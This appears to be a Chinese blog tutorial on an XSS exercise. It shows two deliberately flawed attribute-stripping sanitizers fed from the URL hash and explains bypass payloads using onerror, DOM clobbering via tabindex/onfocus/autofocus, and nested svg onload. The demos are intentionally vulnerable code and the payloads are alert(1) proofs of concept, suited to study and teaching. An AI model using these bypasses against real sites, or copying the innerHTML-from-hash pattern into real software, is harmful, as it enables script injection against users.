当前位置:网站首页>XSS练习---一次循环和两次循环问题
XSS练习---一次循环和两次循环问题
2022-08-03 20:58:00 【抱小猫】
一次循环--demo6.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form id=x>
<input id=attributes>
<input id=attributes>
</form>
</body>
<script>
console.info(x.attributes);
const data = decodeURIComponent(location.hash.substr(1));
const root = document.createElement('div');
root.innerHTML = data;
//这里模拟了XSS过滤的过程,方法是移除所有属性
for (let el of root.querySelectorAll('*')) {
for (let attr of el.attributes) {
el.removeAttribute(attr.name);
}
}
document.body.appendChild(root);
</script>
代码分析
const data = decodeURIComponent(location.hash.substr(1)); #截取#号后面的值
const root = document.createElement('div'); #创建一个div
root.innerHTML = data; #然后将#号后面的值赋值给div
for (let el of root.querySelectorAll('*')) { #选中div下面的所有子元素
for (let attr of el.attributes) { #获取子元素的所有属性
el.removeAttribute(attr.name); #删除获取到的所有属性
测试结果
我们传递了<img src=1 οnerrοr=alert(1)>
但是却发现src=1的属性被删除了,οnerrοr=alert(1)属性却还保留着,这是为什么呢?我们先了解一下这里的删除顺序。我们使用断点调试测试它的顺序
我们先一步步调试查看值的情况,通过断点调试,我们发现src作为第一个属性进入后被删除了,剩下的属性onerror仅一位,但是循环次数大于字符串个数时就不能删除了属性了。
我们使用一个python代码测试删除元素的顺序:
我们发现在a数组下,我们仅取出来了3个值,在预期中我们应该取出6个值,这就是应该边循环边删除的原因造成的。
这就有很大的问题,因为删除元素时因为索引问题我们不清楚到底删除了哪些元素,所以我们仅需要进行多次尝试就可以绕过一次循环:
<img test=aaa src=1 title=bbb οnerrοr=alert(1)>
两次循环--demo4.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
</body>
<script>
const data = decodeURIComponent(location.hash.substr(1));;
const root = document.createElement('div');
root.innerHTML = data;
// 这里模拟了XSS过滤的过程,方法是移除所有属性,sanitizer
for (let el of root.querySelectorAll('*')) {
let attrs = [];
for (let attr of el.attributes) {
attrs.push(attr.name);
}
for (let name of attrs) {
el.removeAttribute(name);
}
}
document.body.appendChild(root);
</script>
</html>
两次循环的题是将属性先放入一个数组里面再进行删除,这个时候就不存在一次循环的问题。
所以我们使用两种方法进行绕过。
绕过方法1:DOM cobbing
将进入循环的东西不放入我们需要的代码,这样即使删除了也没有关系
那我们如果让没有用到的属性进入循环,需要的又没有进入循环呢?
tabindex:全局属性,指示其元素是否可以聚焦,以及它是否在何处参与顺序键盘导航。使用Tab键获取焦点。
<form%20 tabindex=1 οnfοcus="alert(1);this.removeAttribute('onfocus'); "autofocus="true"><input name=attributes><input name=attributes></form>
这样就是将<form%20 tabindex=1 οnfοcus="alert(1);this.removeAttribute('onfocus'); "autofocus="true">进行了触发,删除的是后面的<input>里面的属性。
绕过方法2:不进循环
<svg><svg/οnlοad=alert(1)>
为什么一个<svg>没有成功,两个就成功了?它可以在过滤代码执行以前,提前执行恶意代码。
svg标签会阻塞DOM的构造。JS环境里对DOM操作又会导致回流,为DOM树构造造成额外影响。在script标签内的JS执行完毕以后,DOM树才会构建完成,接着才会加载后面的内容,然后发现加载内容出错才会触发error事件。
就是恶意代码还没有进入循环就已经执行了,所以后面无论进不进循环都没有什么意义了。
边栏推荐
- 研究Fabric中Etcd的Raft应用
- TweenMax.js向日葵表情变化
- Alexa染料标记RNA核糖核酸|RNA-Alexa 514|RNA-Alexa 488|RNA-Alexa 430
- 模板字符串概述
- 5 款漏洞扫描工具:实用、强力、全面(含开源)
- leetcode 448. Find All Numbers Disappeared in an Array 找到所有数组中消失的数字(简单)
- leetcode 461. 汉明距离
- 面试官:为什么 0.1 + 0.2 == 0.300000004?
- leetcode 268. Missing Numbers (XOR!!)
- 博士申请 | 美国明尼苏达大学葛畅教授招收隐私数据管理方向全奖博士/硕士/博后/访问学者...
猜你喜欢
Markdown语法
2022年1~7月语音合成(TTS)和语音识别(ASR)论文月报
- [email protected] 594/[email prote"/>
RNA核糖核酸修饰Alexa 568/[email protected] 594/[email prote
业界新标杆!阿里开源自研高并发编程核心笔记(2022 最新版)
Several difficult problems in DDD
深度学习怎么入门?零基础快速入门深度学习
Lecture topics and guest blockbuster, TDengine developers conference to promote data technology "broken"
abs()、fabs() 和 labs() 的区别
Use setTimeout to realize setInterval
数学之美 第六章——信息的度量和作用
随机推荐
RNA核糖核酸修饰Alexa 568/[email protected] 594/[email prote
为什么 BI 软件都搞不定关联分析
leetcode refers to Offer 58 - II. Left Rotate String
通关剑指 Offer——剑指 Offer II 009. 乘积小于 K 的子数组
收藏-即时通讯(IM)开源项目OpenIM-功能手册
leetcode 231. 2 的幂
Interesting opencv - record image binarization and similarity
华为设备配置VRRP与BFD联动实现快速切换
史兴国对谈于佳宁:从经济模式到落地应用,Web3的中国之路怎么走?
leetcode 461. 汉明距离
李沐动手学深度学习V2-BERT微调和代码实现
ECCV 2022 | 清华&腾讯AI Lab提出REALY:重新思考3D人脸重建的评估方法
数学之美 第六章——信息的度量和作用
Several difficult problems in DDD
博士申请 | 美国明尼苏达大学葛畅教授招收隐私数据管理方向全奖博士/硕士/博后/访问学者...
svg胶囊药样式切换按钮
From September 1st, my country has granted zero-tariff treatment to 98% of tax items from 16 countries including Togo
肝完 Alibaba 这份面试通关宝典,我成功拿下今年第 15 个 Offer
tkwebview2创作心得
基于DMS的数仓智能运维服务,知多少?